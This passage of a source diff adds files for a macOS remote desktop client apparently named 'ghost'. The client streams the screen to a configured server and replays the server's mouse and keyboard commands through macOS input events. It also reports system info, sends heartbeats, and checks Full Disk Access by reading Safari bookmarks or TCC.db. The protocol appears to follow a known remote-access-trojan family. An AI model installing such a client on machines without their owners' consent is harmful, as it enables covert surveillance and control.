uint32_t message = (uint32_t)msg->message;
// Extract coordinates from lParam (MAKELPARAM format: low=x, high=y)
int x = (int)(msg->lParam & 0xFFFF);
int y = (int)((msg->lParam >> 16) & 0xFFFF);
switch (message) {
// Mouse movement
case WM_MOUSEMOVE:
handleMouseMove(x, y);
break;
// Left button
case WM_LBUTTONDOWN:
handleMouseButton(kCGMouseButtonLeft, true, x, y);
break;
case WM_LBUTTONUP:
handleMouseButton(kCGMouseButtonLeft, false, x, y);
break;
case WM_LBUTTONDBLCLK:
handleMouseDoubleClick(kCGMouseButtonLeft, x, y);
break;
// Right button
case WM_RBUTTONDOWN:
handleMouseButton(kCGMouseButtonRight, true, x, y);
break;
case WM_RBUTTONUP:
handleMouseButton(kCGMouseButtonRight, false, x, y);
break;
case WM_RBUTTONDBLCLK:
handleMouseDoubleClick(kCGMouseButtonRight, x, y);
break;
// Middle button
case WM_MBUTTONDOWN:
handleMouseButton(kCGMouseButtonCenter, true, x, y);
break;
case WM_MBUTTONUP:
handleMouseButton(kCGMouseButtonCenter, false, x, y);
break;
case WM_MBUTTONDBLCLK:
handleMouseDoubleClick(kCGMouseButtonCenter, x, y);
break;
// Mouse wheel
case WM_MOUSEWHEEL: {
short delta = GET_WHEEL_DELTA_WPARAM(msg->wParam);
handleMouseWheel(delta);
break;
}
// Keyboard
case WM_KEYDOWN:
case WM_SYSKEYDOWN:
handleKeyEvent((uint32_t)msg->wParam, true);
break;
case WM_KEYUP:
case WM_SYSKEYUP:
handleKeyEvent((uint32_t)msg->wParam, false);
break;
}
}
void InputHandler::handleMouseMove(int x, int y)
{
CGPoint point = CGPointMake(x, y);
m_lastMousePos = point;
CGEventType eventType = kCGEventMouseMoved;
CGMouseButton button = kCGMouseButtonLeft;
// If button is held, use drag event
if (m_leftButtonDown) {
eventType = kCGEventLeftMouseDragged;
button = kCGMouseButtonLeft;
} else if (m_rightButtonDown) {
eventType = kCGEventRightMouseDragged;
button = kCGMouseButtonRight;
} else if (m_middleButtonDown) {
eventType = kCGEventOtherMouseDragged;
button = kCGMouseButtonCenter;
}
CGEventRef event = CGEventCreateMouseEvent(NULL, eventType, point, button);
if (event) {
CGEventPost(kCGHIDEventTap, event);
CFRelease(event);
}
}
void InputHandler::handleMouseButton(CGMouseButton button, bool down, int x, int y)
{
CGPoint point = CGPointMake(x, y);
m_lastMousePos = point;
CGEventType eventType;
switch (button) {
case kCGMouseButtonLeft:
eventType = down ? kCGEventLeftMouseDown : kCGEventLeftMouseUp;
m_leftButtonDown = down;
break;
case kCGMouseButtonRight:
eventType = down ? kCGEventRightMouseDown : kCGEventRightMouseUp;
m_rightButtonDown = down;
break;
case kCGMouseButtonCenter:
default:
eventType = down ? kCGEventOtherMouseDown : kCGEventOtherMouseUp;
m_middleButtonDown = down;
break;
}
CGEventRef event = CGEventCreateMouseEvent(NULL, eventType, point, button);
if (event) {
// clickState=1 for all single clicks
CGEventSetIntegerValueField(event, kCGMouseEventClickState, 1);
CGEventPost(kCGHIDEventTap, event);
CFRelease(event);
}
}
void InputHandler::handleMouseDoubleClick(CGMouseButton button, int x, int y)
{
// WM_LBUTTONDBLCLK represents the second click of a double-click.
// The first click was already sent via WM_LBUTTONDOWN/WM_LBUTTONUP.
//
// We send complete down(2) + up(2) here because:
// - Web client: dblclick fires AFTER mouseup, no subsequent WM_LBUTTONUP
// - MFC client: WM_LBUTTONUP follows, but extra up(1) is harmless
CGPoint point = CGPointMake(x, y);
m_lastMousePos = point;
CGEventType downType, upType;
switch (button) {
case kCGMouseButtonLeft:
downType = kCGEventLeftMouseDown;
upType = kCGEventLeftMouseUp;
break;
case kCGMouseButtonRight:
downType = kCGEventRightMouseDown;
upType = kCGEventRightMouseUp;
break;
case kCGMouseButtonCenter:
default:
downType = kCGEventOtherMouseDown;
upType = kCGEventOtherMouseUp;
break;
}
// Send second click: down(2) + up(2)
CGEventRef down = CGEventCreateMouseEvent(NULL, downType, point, button);
CGEventRef up = CGEventCreateMouseEvent(NULL, upType, point, button);
if (down) {
CGEventSetIntegerValueField(down, kCGMouseEventClickState, 2);
CGEventPost(kCGHIDEventTap, down);
CFRelease(down);
}
if (up) {
CGEventSetIntegerValueField(up, kCGMouseEventClickState, 2);
CGEventPost(kCGHIDEventTap, up);
CFRelease(up);
}
// Note: For MFC client, an extra WM_LBUTTONUP will follow (sending up(1)),
// but this is harmless since mouse is already up.
}
void InputHandler::handleMouseWheel(int delta)
{
// Convert Windows wheel delta (120 = one notch) to macOS pixel units
// Using pixel units provides smoother scrolling than line units
// Windows: 120 = one standard notch
// macOS: approximately 10 pixels per notch feels natural
int32_t scrollAmount = (delta * 10) / 120;
// Use pixel units for smoother scrolling experience
CGEventRef event = CGEventCreateScrollWheelEvent(
NULL,
kCGScrollEventUnitPixel,
1,
scrollAmount
);
if (event) {
CGEventPost(kCGHIDEventTap, event);
CFRelease(event);
}
}
void InputHandler::handleKeyEvent(uint32_t vkCode, bool down)
{
CGKeyCode keyCode = vkToMacKeyCode(vkCode);
if (keyCode == 0xFF) {
return; // Unknown key
}
// Update modifier flags based on key
CGEventFlags flag = 0;
switch (keyCode) {
case kVK_Shift:
case kVK_RightShift:
flag = kCGEventFlagMaskShift;
break;
case kVK_Control:
case kVK_RightControl:
flag = kCGEventFlagMaskControl;
break;
case kVK_Option:
case kVK_RightOption:
flag = kCGEventFlagMaskAlternate;
break;
case kVK_Command:
case kVK_RightCommand:
flag = kCGEventFlagMaskCommand;
break;
case kVK_CapsLock:
flag = kCGEventFlagMaskAlphaShift;
break;
}
if (flag) {
CGEventFlags current = m_modifierFlags.load();
if (down) {
m_modifierFlags.store(current | flag);
} else {
m_modifierFlags.store(current & ~flag);
}
}
CGEventRef event = CGEventCreateKeyboardEvent(NULL, keyCode, down);
if (event) {
// Set current modifier flags to ensure proper key combinations
CGEventSetFlags(event, m_modifierFlags.load());
CGEventPost(kCGHIDEventTap, event);
CFRelease(event);
}
}
// Convert Windows VK code to macOS key code
// Reference: Carbon/HIToolbox/Events.h
CGKeyCode InputHandler::vkToMacKeyCode(uint32_t vk)
{
// Letters A-Z (VK 0x41-0x5A)
if (vk >= 0x41 && vk <= 0x5A) {
// macOS key codes for A-Z are not sequential
static const CGKeyCode letterKeys[] = {
kVK_ANSI_A, kVK_ANSI_B, kVK_ANSI_C, kVK_ANSI_D, kVK_ANSI_E,
kVK_ANSI_F, kVK_ANSI_G, kVK_ANSI_H, kVK_ANSI_I, kVK_ANSI_J,
kVK_ANSI_K, kVK_ANSI_L, kVK_ANSI_M, kVK_ANSI_N, kVK_ANSI_O,
kVK_ANSI_P, kVK_ANSI_Q, kVK_ANSI_R, kVK_ANSI_S, kVK_ANSI_T,
kVK_ANSI_U, kVK_ANSI_V, kVK_ANSI_W, kVK_ANSI_X, kVK_ANSI_Y,
kVK_ANSI_Z
};
return letterKeys[vk - 0x41];
}
// Numbers 0-9 (VK 0x30-0x39)
if (vk >= 0x30 && vk <= 0x39) {
static const CGKeyCode numberKeys[] = {
kVK_ANSI_0, kVK_ANSI_1, kVK_ANSI_2, kVK_ANSI_3, kVK_ANSI_4,
kVK_ANSI_5, kVK_ANSI_6, kVK_ANSI_7, kVK_ANSI_8, kVK_ANSI_9
};
return numberKeys[vk - 0x30];
}
// Numpad 0-9 (VK 0x60-0x69)
if (vk >= 0x60 && vk <= 0x69) {
static const CGKeyCode numpadKeys[] = {
kVK_ANSI_Keypad0, kVK_ANSI_Keypad1, kVK_ANSI_Keypad2,
kVK_ANSI_Keypad3, kVK_ANSI_Keypad4, kVK_ANSI_Keypad5,
kVK_ANSI_Keypad6, kVK_ANSI_Keypad7, kVK_ANSI_Keypad8,
kVK_ANSI_Keypad9
};
return numpadKeys[vk - 0x60];
}
// F1-F12 (VK 0x70-0x7B)
if (vk >= 0x70 && vk <= 0x7B) {
static const CGKeyCode fKeys[] = {
kVK_F1, kVK_F2, kVK_F3, kVK_F4, kVK_F5, kVK_F6,
kVK_F7, kVK_F8, kVK_F9, kVK_F10, kVK_F11, kVK_F12
};
return fKeys[vk - 0x70];
}
// Special keys
switch (vk) {
case 0x08: return kVK_Delete; // VK_BACK (Backspace)
case 0x09: return kVK_Tab; // VK_TAB
case 0x0D: return kVK_Return; // VK_RETURN
case 0x10: return kVK_Shift; // VK_SHIFT
case 0x11: return kVK_Control; // VK_CONTROL
case 0x12: return kVK_Option; // VK_MENU (Alt -> Option)
case 0x13: return kVK_F15; // VK_PAUSE (no direct equivalent)
case 0x14: return kVK_CapsLock; // VK_CAPITAL
case 0x1B: return kVK_Escape; // VK_ESCAPE
case 0x20: return kVK_Space; // VK_SPACE
case 0x21: return kVK_PageUp; // VK_PRIOR
case 0x22: return kVK_PageDown; // VK_NEXT
case 0x23: return kVK_End; // VK_END
case 0x24: return kVK_Home; // VK_HOME
case 0x25: return kVK_LeftArrow; // VK_LEFT
case 0x26: return kVK_UpArrow; // VK_UP
case 0x27: return kVK_RightArrow; // VK_RIGHT
case 0x28: return kVK_DownArrow; // VK_DOWN
case 0x2C: return kVK_F13; // VK_SNAPSHOT (PrintScreen)
case 0x2D: return kVK_Help; // VK_INSERT (Help on Mac)
case 0x2E: return kVK_ForwardDelete; // VK_DELETE
// Windows keys -> Command
case 0x5B: return kVK_Command; // VK_LWIN
case 0x5C: return kVK_RightCommand; // VK_RWIN
// Numpad operators
case 0x6A: return kVK_ANSI_KeypadMultiply; // VK_MULTIPLY
case 0x6B: return kVK_ANSI_KeypadPlus; // VK_ADD
case 0x6D: return kVK_ANSI_KeypadMinus; // VK_SUBTRACT
case 0x6E: return kVK_ANSI_KeypadDecimal; // VK_DECIMAL
case 0x6F: return kVK_ANSI_KeypadDivide; // VK_DIVIDE
// Lock keys
case 0x90: return kVK_ANSI_KeypadClear; // VK_NUMLOCK (Clear on Mac)
case 0x91: return kVK_F14; // VK_SCROLL
// Shift variants
case 0xA0: return kVK_Shift; // VK_LSHIFT
case 0xA1: return kVK_RightShift; // VK_RSHIFT
case 0xA2: return kVK_Control; // VK_LCONTROL
case 0xA3: return kVK_RightControl; // VK_RCONTROL
case 0xA4: return kVK_Option; // VK_LMENU
case 0xA5: return kVK_RightOption; // VK_RMENU
// OEM keys (US keyboard layout)
case 0xBA: return kVK_ANSI_Semicolon; // VK_OEM_1 (;:)
case 0xBB: return kVK_ANSI_Equal; // VK_OEM_PLUS (=+)
case 0xBC: return kVK_ANSI_Comma; // VK_OEM_COMMA (,<)
case 0xBD: return kVK_ANSI_Minus; // VK_OEM_MINUS (-_)
case 0xBE: return kVK_ANSI_Period; // VK_OEM_PERIOD (.>)
case 0xBF: return kVK_ANSI_Slash; // VK_OEM_2 (/?)
case 0xC0: return kVK_ANSI_Grave; // VK_OEM_3 (`~)
case 0xDB: return kVK_ANSI_LeftBracket; // VK_OEM_4 ([{)
case 0xDC: return kVK_ANSI_Backslash; // VK_OEM_5 (\|)
case 0xDD: return kVK_ANSI_RightBracket; // VK_OEM_6 (]})
case 0xDE: return kVK_ANSI_Quote; // VK_OEM_7 ('")
default:
return 0xFF; // Unknown key
}
}

43
macos/Permissions.h Normal file
View File

@@ -0,0 +1,43 @@
#pragma once
#import <Foundation/Foundation.h>
#import <CoreGraphics/CoreGraphics.h>
#import <ApplicationServices/ApplicationServices.h>
class Permissions {
public:
// Check if screen recording permission is granted
// Returns true if granted, false otherwise
static bool checkScreenCapture();
// Request screen recording permission (shows system dialog, macOS 10.15+)
static void requestScreenCapture();
// Check if accessibility permission is granted (for input simulation)
// Returns true if granted, false otherwise
static bool checkAccessibility();
// Request accessibility permission (shows system dialog)
static void requestAccessibility();
// Open System Preferences to Screen Recording settings
static void openScreenCaptureSettings();
// Open System Preferences to Accessibility settings
static void openAccessibilitySettings();
// Check if Full Disk Access permission is granted
// Returns true if granted, false otherwise
static bool checkFullDiskAccess();
// Open System Preferences to Full Disk Access settings
static void openFullDiskAccessSettings();
// Check all required permissions
// Returns true if all permissions are granted
static bool checkAllPermissions();
// Wait for permissions to be granted (blocking)
// Returns true if all granted within timeout, false otherwise
static bool waitForPermissions(int timeoutSeconds);
};

107
macos/Permissions.mm Normal file
View File

@@ -0,0 +1,107 @@
#import "Permissions.h"
#import <Cocoa/Cocoa.h>
#import <CoreGraphics/CoreGraphics.h>
#import <ApplicationServices/ApplicationServices.h>
bool Permissions::checkScreenCapture() {
// macOS 10.15+ requires screen recording permission
if (@available(macOS 10.15, *)) {
// Use CGPreflightScreenCaptureAccess for reliable permission check
// This API is available since macOS 10.15
return CGPreflightScreenCaptureAccess();
}
// Before 10.15, no permission needed
return true;
}
void Permissions::requestScreenCapture() {
if (@available(macOS 10.15, *)) {
// Trigger system permission dialog
CGRequestScreenCaptureAccess();
}
}
bool Permissions::checkAccessibility() {
return AXIsProcessTrusted();
}
void Permissions::requestAccessibility() {
NSDictionary *options = @{
(__bridge id)kAXTrustedCheckOptionPrompt: @YES
};
AXIsProcessTrustedWithOptions((__bridge CFDictionaryRef)options);
}
void Permissions::openScreenCaptureSettings() {
if (@available(macOS 10.15, *)) {
// Open System Preferences -> Security & Privacy -> Privacy -> Screen Recording
NSURL *url = [NSURL URLWithString:@"x-apple.systempreferences:com.apple.preference.security?Privacy_ScreenCapture"];
[[NSWorkspace sharedWorkspace] openURL:url];
}
}
void Permissions::openAccessibilitySettings() {
// Open System Preferences -> Security & Privacy -> Privacy -> Accessibility
NSURL *url = [NSURL URLWithString:@"x-apple.systempreferences:com.apple.preference.security?Privacy_Accessibility"];
[[NSWorkspace sharedWorkspace] openURL:url];
}
bool Permissions::checkFullDiskAccess() {
// There's no official API to check Full Disk Access.
// Try to actually read a protected file that requires FDA.
NSString* testPath = [NSHomeDirectory() stringByAppendingPathComponent:@"Library/Safari/Bookmarks.plist"];
NSFileManager* fm = [NSFileManager defaultManager];
if ([fm fileExistsAtPath:testPath]) {
// Try to actually read the file (more reliable than isReadableFileAtPath)
NSData* data = [NSData dataWithContentsOfFile:testPath];
if (data != nil) {
NSLog(@"FDA check: OK (can read Safari bookmarks)");
return true;
} else {
NSLog(@"FDA check: FAILED (Safari bookmarks exists but unreadable)");
return false;
}
}
// Safari bookmarks doesn't exist, try TCC database
testPath = @"/Library/Application Support/com.apple.TCC/TCC.db";
if ([fm fileExistsAtPath:testPath]) {
NSData* data = [NSData dataWithContentsOfFile:testPath];
if (data != nil) {
NSLog(@"FDA check: OK (can read TCC.db)");
return true;
} else {
NSLog(@"FDA check: FAILED (TCC.db exists but unreadable)");
return false;
}
}
// No test files exist, assume OK
NSLog(@"FDA check: SKIPPED (no test files found)");
return true;
}
void Permissions::openFullDiskAccessSettings() {
// Open System Preferences -> Security & Privacy -> Privacy -> Full Disk Access
NSURL *url = [NSURL URLWithString:@"x-apple.systempreferences:com.apple.preference.security?Privacy_AllFiles"];
[[NSWorkspace sharedWorkspace] openURL:url];
}
bool Permissions::checkAllPermissions() {
return checkScreenCapture() && checkAccessibility() && checkFullDiskAccess();
}
bool Permissions::waitForPermissions(int timeoutSeconds) {
int elapsed = 0;
while (elapsed < timeoutSeconds) {
if (checkAllPermissions()) {
return true;
}
[NSThread sleepForTimeInterval:1.0];
elapsed++;
}
return false;
}

61
macos/README.txt Normal file
View File

@@ -0,0 +1,61 @@
macOS Remote Desktop Client
===========================
Prerequisites:
1. Xcode Command Line Tools: xcode-select --install
2. CMake: brew install cmake
Build:
chmod +x build.sh
./build.sh
Or manually:
mkdir build && cd build
cmake ..
make
Run:
./build/bin/ghost
Configuration:
Server address is configured in main.mm (g_SETTINGS variable).
Modify before building if needed.
Permissions Required:
1. Screen Recording - System Settings > Privacy & Security > Screen Recording
2. Accessibility - System Settings > Privacy & Security > Accessibility
Features:
[x] Screen capture (CGDisplayCreateImage)
[x] H264 video encoding (VideoToolbox)
[x] Mouse control (move, click, drag, scroll)
[x] Keyboard control (full VK code mapping)
[x] Retina display support (coordinate scaling)
[x] Network connection (IOCPClient)
[x] LOGIN_INFOR (system info reporting)
[x] Heartbeat with RTT estimation
[x] Active window tracking
[x] Quality level adjustment (FPS/algorithm)
Files:
CMakeLists.txt - Build configuration
Permissions.h/mm - macOS permission handling
ScreenHandler.h/mm - Screen capture and H264 encoding
InputHandler.h/mm - Mouse/keyboard simulation
H264Encoder.h/mm - VideoToolbox H264 encoder
SystemManager.h/mm - Process management
main.mm - Entry point, LOGIN_INFOR, heartbeat
Quality Levels:
Level 0: 5 FPS, Grayscale (emergency low bandwidth)
Level 1: 10 FPS, RGB565
Level 2: 15 FPS, H264 (default, office work)
Level 3: 20 FPS, H264
Level 4: 25 FPS, H264
Level 5: 30 FPS, H264 (smooth)
Notes:
- First frame is always raw bitmap (TOKEN_FIRSTSCREEN)
- Subsequent frames use H264 encoding (TOKEN_NEXTSCREEN)
- Coordinates are scaled for Retina displays automatically
- Windows VK codes are mapped to macOS key codes

135
macos/ScreenHandler.h Normal file
View File

@@ -0,0 +1,135 @@
#pragma once
#import <CoreGraphics/CoreGraphics.h>
#import <dispatch/dispatch.h>
#import "../client/IOCPClient.h"
#include <vector>
#include <atomic>
#include <mutex>
#include <thread>
#include <cstdint>
#include <memory>
// Forward declarations
class IOCPClient;
class H264Encoder;
class InputHandler;
// macOS BITMAPINFOHEADER (compatible with Windows)
#pragma pack(push, 1)
struct BITMAPINFOHEADER_MAC {
uint32_t biSize; // 40
int32_t biWidth;
int32_t biHeight;
uint16_t biPlanes; // 1
uint16_t biBitCount; // 32
uint32_t biCompression; // 0 (BI_RGB)
uint32_t biSizeImage;
int32_t biXPelsPerMeter; // 0
int32_t biYPelsPerMeter; // 0
uint32_t biClrUsed; // 0
uint32_t biClrImportant; // 0
};
#pragma pack(pop)
// Screen algorithm constants
#define ALGORITHM_GRAY 0
#define ALGORITHM_DIFF 1
#define ALGORITHM_H264 2
#define ALGORITHM_RGB565 3
class ScreenHandler : public IOCPManager {
public:
ScreenHandler(IOCPClient* client);
~ScreenHandler();
// Initialize screen capture (returns false if permission denied)
bool init();
// Start/stop capture loop
void start(IOCPClient* client, uint64_t clientID);
void stop();
// Check if running
bool isRunning() const { return m_running; }
// Get screen dimensions
int getWidth() const { return m_width; }
int getHeight() const { return m_height; }
// Send bitmap info to server (called after connection)
void sendBitmapInfo();
// Handle received commands
void OnReceive(uint8_t* data, ULONG size);
// Apply quality level
void applyQualityLevel(int8_t level, bool persist = false);
private:
// Capture the screen (returns BGRA data, bottom-up)
bool captureScreen(std::vector<uint8_t>& buffer);
// Send first full screen frame
void sendFirstScreen();
// Send differential frame
void sendDiffFrame();
// Send H264 encoded frame
void sendH264Frame(bool keyframe);
// Compare bitmaps and generate diff data
uint32_t compareBitmap(const uint8_t* curr, const uint8_t* prev,
uint8_t* outBuf, uint32_t totalBytes, uint8_t algo);
// Color conversion helpers
void convertBGRAtoGray(const uint8_t* src, uint8_t* dst, uint32_t pixelCount);
void convertBGRAtoRGB565(const uint8_t* src, uint16_t* dst, uint32_t pixelCount);
// Capture loop thread function
void captureLoop();
// Get current time in milliseconds
static uint64_t getTickMs();
// Get current cursor position (in physical pixels)
void getCursorPosition(int32_t& x, int32_t& y);
// Get current cursor type index (matches Windows cursor indices)
uint8_t getCursorTypeIndex();
private:
IOCPClient* m_client;
uint64_t m_clientID;
std::atomic<bool> m_running;
std::thread m_captureThread;
std::mutex m_mutex;
// Screen info
int m_width; // Physical pixel width (sent to server)
int m_height; // Physical pixel height (sent to server)
int m_logicalWidth; // Logical point width (for CGEvent)
int m_logicalHeight; // Logical point height (for CGEvent)
double m_scaleFactor; // Retina scale factor (physical / logical)
CGDirectDisplayID m_displayID;
// Protocol
BITMAPINFOHEADER_MAC m_bmpHeader;
std::vector<uint8_t> m_prevFrame;
std::vector<uint8_t> m_currFrame;
std::vector<uint8_t> m_diffBuffer;
// Quality settings
std::atomic<uint8_t> m_algorithm;
std::atomic<int> m_maxFPS;
int8_t m_qualityLevel;
// H264 encoder
std::unique_ptr<H264Encoder> m_h264Encoder;
int m_h264Bitrate;
// Input handler for mouse/keyboard control
std::unique_ptr<InputHandler> m_inputHandler;
};

691
macos/ScreenHandler.mm Normal file
View File

@@ -0,0 +1,691 @@
#import "ScreenHandler.h"
#import "H264Encoder.h"
#import "InputHandler.h"
#import "../client/IOCPClient.h"
#import "../common/commands.h"
#import "Permissions.h"
#import <Cocoa/Cocoa.h>
#import <CoreGraphics/CoreGraphics.h>
#import <ApplicationServices/ApplicationServices.h>
#import <mach/mach_time.h>
// Global client ID (calculated in main.mm)
extern uint64_t g_myClientID;
ScreenHandler::ScreenHandler(IOCPClient* client)
: m_client(client)
, m_clientID(0)
, m_running(false)
, m_width(0)
, m_height(0)
, m_logicalWidth(0)
, m_logicalHeight(0)
, m_scaleFactor(1.0)
, m_displayID(CGMainDisplayID())
, m_algorithm(ALGORITHM_H264)
, m_maxFPS(15)
, m_qualityLevel(QUALITY_GOOD) // Use fixed QUALITY_GOOD (H264) for web compatibility
, m_h264Bitrate(3000000) // 3 Mbps (matches Windows QUALITY_GOOD)
{
memset(&m_bmpHeader, 0, sizeof(m_bmpHeader));
// Initialize input handler for mouse/keyboard control
m_inputHandler = std::make_unique<InputHandler>();
if (m_inputHandler->init()) {
NSLog(@"InputHandler initialized with accessibility permission");
} else {
NSLog(@"InputHandler: waiting for accessibility permission");
}
}
ScreenHandler::~ScreenHandler()
{
stop();
}
bool ScreenHandler::init()
{
// Check permissions
if (!Permissions::checkScreenCapture()) {
NSLog(@"Screen capture permission not granted");
return false;
}
// Get main display info
m_displayID = CGMainDisplayID();
// Get physical pixel dimensions (what we capture and send)
CGDisplayModeRef mode = CGDisplayCopyDisplayMode(m_displayID);
if (mode) {
m_width = (int)CGDisplayModeGetPixelWidth(mode);
m_height = (int)CGDisplayModeGetPixelHeight(mode);
CGDisplayModeRelease(mode);
} else {
m_width = (int)CGDisplayPixelsWide(m_displayID);
m_height = (int)CGDisplayPixelsHigh(m_displayID);
}
// Get logical point dimensions (what CGEvent uses)
// NSScreen provides logical dimensions
NSScreen* mainScreen = [NSScreen mainScreen];
if (mainScreen) {
NSRect frame = [mainScreen frame];
m_logicalWidth = (int)frame.size.width;
m_logicalHeight = (int)frame.size.height;
} else {
// Fallback: use physical dimensions
m_logicalWidth = m_width;
m_logicalHeight = m_height;
}
// Calculate scale factor (Retina displays have factor > 1.0)
m_scaleFactor = (double)m_width / (double)m_logicalWidth;
NSLog(@"Screen dimensions: physical=%dx%d, logical=%dx%d, scale=%.2f",
m_width, m_height, m_logicalWidth, m_logicalHeight, m_scaleFactor);
if (m_width <= 0 || m_height <= 0) {
NSLog(@"Invalid screen dimensions: %dx%d", m_width, m_height);
return false;
}
// Initialize BITMAPINFOHEADER
m_bmpHeader.biSize = sizeof(BITMAPINFOHEADER_MAC);
m_bmpHeader.biWidth = m_width;
m_bmpHeader.biHeight = m_height;
m_bmpHeader.biPlanes = 1;
m_bmpHeader.biBitCount = 32;
m_bmpHeader.biCompression = 0; // BI_RGB
m_bmpHeader.biSizeImage = m_width * m_height * 4;
// Allocate frame buffers
m_prevFrame.resize(m_bmpHeader.biSizeImage, 0);
m_currFrame.resize(m_bmpHeader.biSizeImage, 0);
m_diffBuffer.resize(1 + 1 + 8 + 1 + m_bmpHeader.biSizeImage * 2);
NSLog(@"ScreenHandler initialized: %dx%d", m_width, m_height);
return true;
}
void ScreenHandler::start(IOCPClient* client, uint64_t clientID)
{
if (m_running) return;
m_client = client;
m_clientID = clientID;
m_running = true;
m_captureThread = std::thread(&ScreenHandler::captureLoop, this);
}
void ScreenHandler::stop()
{
m_running = false;
if (m_captureThread.joinable()) {
m_captureThread.join();
}
// Close H264 encoder if open
if (m_h264Encoder) {
m_h264Encoder->close();
m_h264Encoder.reset();
}
}
void ScreenHandler::sendBitmapInfo()
{
if (!m_client) return;
// Build packet: [TOKEN_BITMAPINFO][BITMAPINFOHEADER][clientID][reserved][ScreenSettings]
// ScreenSettings defined in commands.h (100 bytes), QualityLevel at offset 32
const uint32_t len = 1 + sizeof(BITMAPINFOHEADER_MAC) + 2 * sizeof(uint64_t) + sizeof(ScreenSettings);
std::vector<uint8_t> buf(len, 0);
buf[0] = TOKEN_BITMAPINFO;
memcpy(&buf[1], &m_bmpHeader, sizeof(BITMAPINFOHEADER_MAC));
uint64_t clientID = g_myClientID;
memcpy(&buf[1 + sizeof(BITMAPINFOHEADER_MAC)], &clientID, sizeof(uint64_t));
ScreenSettings settings = {};
settings.MaxFPS = m_maxFPS.load();
settings.QualityLevel = m_qualityLevel; // Fixed quality level (e.g., QUALITY_GOOD = 2)
memcpy(&buf[1 + sizeof(BITMAPINFOHEADER_MAC) + 2 * sizeof(uint64_t)], &settings, sizeof(ScreenSettings));
m_client->Send2Server((char*)buf.data(), len);
NSLog(@"SendBitmapInfo: clientID=%llu, QualityLevel=%d, SettingsSize=%zu",
clientID, m_qualityLevel, sizeof(ScreenSettings));
}
void ScreenHandler::OnReceive(uint8_t* data, ULONG size)
{
if (!size) return;
switch (data[0]) {
case COMMAND_NEXT:
// Server ready, handled externally
NSLog(@"Received COMMAND_NEXT from server");
if (!m_running) {
start(m_client, g_myClientID);
}
break;
case COMMAND_SCREEN_CONTROL:
// Handle mouse/keyboard control commands
// Protocol: [COMMAND_SCREEN_CONTROL:1][MSG64:48]
if (size >= 1 + sizeof(MSG64_MAC) && m_inputHandler) {
MSG64_MAC msg;
memcpy(&msg, data + 1, sizeof(MSG64_MAC));
// Convert physical pixel coordinates to logical point coordinates
// Server sends coordinates in physical pixels (matching our captured screen)
// CGEvent expects logical points (for Retina displays, physical/scale)
if (m_scaleFactor > 1.0) {
// Extract coordinates from lParam (MAKELPARAM format: low=x, high=y)
int x = (int)(msg.lParam & 0xFFFF);
int y = (int)((msg.lParam >> 16) & 0xFFFF);
// Scale down to logical coordinates
x = (int)(x / m_scaleFactor);
y = (int)(y / m_scaleFactor);
// Update lParam with scaled coordinates
msg.lParam = (uint64_t)x | ((uint64_t)y << 16);
msg.pt_x = x;
msg.pt_y = y;
}
m_inputHandler->handleInputEvent(&msg);
}
break;
case CMD_QUALITY_LEVEL:
if (size >= 2) {
int8_t level = (int8_t)data[1];
bool persist = (size >= 3) ? data[2] : false;
applyQualityLevel(level, persist);
}
break;
default:
break;
}
}
void ScreenHandler::applyQualityLevel(int8_t level, bool persist)
{
m_qualityLevel = level;
if (level == QUALITY_DISABLED) {
NSLog(@"Quality: Disabled");
return;
}
// Quality profiles: [FPS, Algorithm]
// H264 provides best compression for remote desktop
// Note: macOS uses slightly higher FPS than Windows for smoother experience
static const int profiles[QUALITY_COUNT][2] = {
{5, ALGORITHM_GRAY}, // Level 0: Emergency (very low bandwidth)
{10, ALGORITHM_RGB565}, // Level 1: Low
{15, ALGORITHM_H264}, // Level 2: Medium (office work default)
{20, ALGORITHM_H264}, // Level 3: Good
{25, ALGORITHM_H264}, // Level 4: High
{30, ALGORITHM_H264}, // Level 5: Smooth
};
if (level >= 0 && level < QUALITY_COUNT) {
m_maxFPS.store(profiles[level][0]);
m_algorithm.store(profiles[level][1]);
NSLog(@"Quality: Level=%d, FPS=%d, Algo=%d", level, profiles[level][0], profiles[level][1]);
} else {
NSLog(@"Quality: Adaptive mode");
}
}
bool ScreenHandler::captureScreen(std::vector<uint8_t>& buffer)
{
// Create image from display
CGImageRef image = CGDisplayCreateImage(m_displayID);
if (!image) {
NSLog(@"Failed to capture screen image");
return false;
}
size_t width = CGImageGetWidth(image);
size_t height = CGImageGetHeight(image);
if (width != (size_t)m_width || height != (size_t)m_height) {
// Screen resolution changed, need to reinitialize
CGImageRelease(image);
NSLog(@"Screen resolution changed: %zux%zu", width, height);
return false;
}
// Create bitmap context to get raw pixel data
CGColorSpaceRef colorSpace = CGColorSpaceCreateDeviceRGB();
size_t bytesPerRow = width * 4;
// Temporary buffer for top-down BGRA
std::vector<uint8_t> tempBuffer(bytesPerRow * height);
CGContextRef context = CGBitmapContextCreate(
tempBuffer.data(),
width,
height,
8,
bytesPerRow,
colorSpace,
kCGImageAlphaPremultipliedFirst | kCGBitmapByteOrder32Little // BGRA
);
CGColorSpaceRelease(colorSpace);
if (!context) {
CGImageRelease(image);
NSLog(@"Failed to create bitmap context");
return false;
}
// Draw image into context
CGContextDrawImage(context, CGRectMake(0, 0, width, height), image);
CGContextRelease(context);
CGImageRelease(image);
// Flip vertically (BMP is bottom-up, CGImage is top-down)
for (size_t y = 0; y < height; y++) {
size_t srcRow = y;
size_t dstRow = height - 1 - y;
memcpy(buffer.data() + dstRow * bytesPerRow,
tempBuffer.data() + srcRow * bytesPerRow,
bytesPerRow);
}
return true;
}
void ScreenHandler::sendFirstScreen()
{
if (!captureScreen(m_currFrame)) return;
if (!m_client) return;
uint32_t imgSize = m_bmpHeader.biSizeImage;
std::vector<uint8_t> buf(1 + imgSize);
buf[0] = TOKEN_FIRSTSCREEN;
memcpy(&buf[1], m_currFrame.data(), imgSize);
m_client->Send2Server((char*)buf.data(), buf.size());
// Save as previous frame
m_prevFrame = m_currFrame;
}
void ScreenHandler::sendDiffFrame()
{
if (!captureScreen(m_currFrame)) return;
if (!m_client) return;
uint8_t* out = m_diffBuffer.data();
out[0] = TOKEN_NEXTSCREEN;
uint8_t* data = out + 1;
// Write algorithm type
uint8_t algo = m_algorithm.load();
memcpy(data, &algo, sizeof(uint8_t));
// Write cursor position
int32_t cursorX, cursorY;
getCursorPosition(cursorX, cursorY);
memcpy(data + 1, &cursorX, sizeof(int32_t));
memcpy(data + 1 + sizeof(int32_t), &cursorY, sizeof(int32_t));
// Write cursor type
uint8_t cursorType = getCursorTypeIndex();
memcpy(data + 1 + 2 * sizeof(int32_t), &cursorType, sizeof(uint8_t));
uint32_t headerSize = 1 + 2 * sizeof(int32_t) + 1;
